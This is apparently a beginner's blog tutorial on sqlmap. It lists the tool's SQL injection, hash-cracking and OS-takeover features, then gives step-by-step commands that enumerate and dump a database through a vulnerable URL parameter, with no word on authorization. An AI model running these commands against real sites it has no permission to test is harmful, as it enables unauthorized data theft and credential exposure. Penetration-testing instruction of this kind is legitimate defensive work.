Sqlmap - Sqlinjection part 1

Sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.
-Full support for MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB database management systems.
-Full support for six SQL injection techniques: boolean-based blind, time-based blind, error-based, UNION query, stacked queries and out-of-band.
-Support to directly connect to the database without passing via a SQL injection, by providing DBMS credentials, IP address, port and database name.
-Support to enumerate users, password hashes, privileges, roles, databases, tables and columns.
-Automatic recognition of password hash formats and support for cracking them using a dictionary-based attack.
-Support to dump database tables entirely, a range of entries or specific columns as per user's choice. The user can also choose to dump only a range of characters from each column's entry.
-Support to search for specific database names, specific tables across all databases or specific columns across all databases' tables. This is useful, for instance, to identify tables containing custom application credentials where relevant columns' names contain string like name and pass.
-Support to download and upload any file from the database server underlying file system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
-Support to execute arbitrary commands and retrieve their standard output on the database server underlying operating system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
-Support to establish an out-of-band stateful TCP connection between the attacker machine and the database server underlying operating system. This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC) session as per user's choice.
-Support for database process' user privilege escalation via Metasploit's Meterpreter getsystem command.

You can download sqlmap from here
After download extract sqlmap.
Move into directory (cd sqlmap)
For run sqlmap we need python 2.6 or python 2.7; you can download python from official website.
For more info about sqlmap click here

START

First we need a url to analize, for example www.website.com/pag.php?id=4
Now we can analize this url with sqlmap :
./sqlmap.py -u "www.website.com/pag.php?id=4"
If parameter is injectable (in this case parameter is id) we can see a list of databases adding --dbs.
./sqlmap.py -u "www.website.com/pag.php?id=4" --dbs
After we can see a list of tables that are content in one databases adding --tables
./sqlmap.py -u "www.website.com/pag.php?id=4" -D database --tables
After we can see a list of columns that are content in one table adding --columns
./sqlmap.py -u "www.website.com/pag.php?id=4" -D database -T table --columns
Now if you're interested about the contents you can dump the database with --dump
./sqlmap.py -u "www.website.com/pag.php?id=4" -D database -T table --dump
./sqlmap.py -u "www.website.com/pag.php?id=4" -D database --dump (so you dump all tables in database)

If you have any problem or if you need some explanations just write under this post!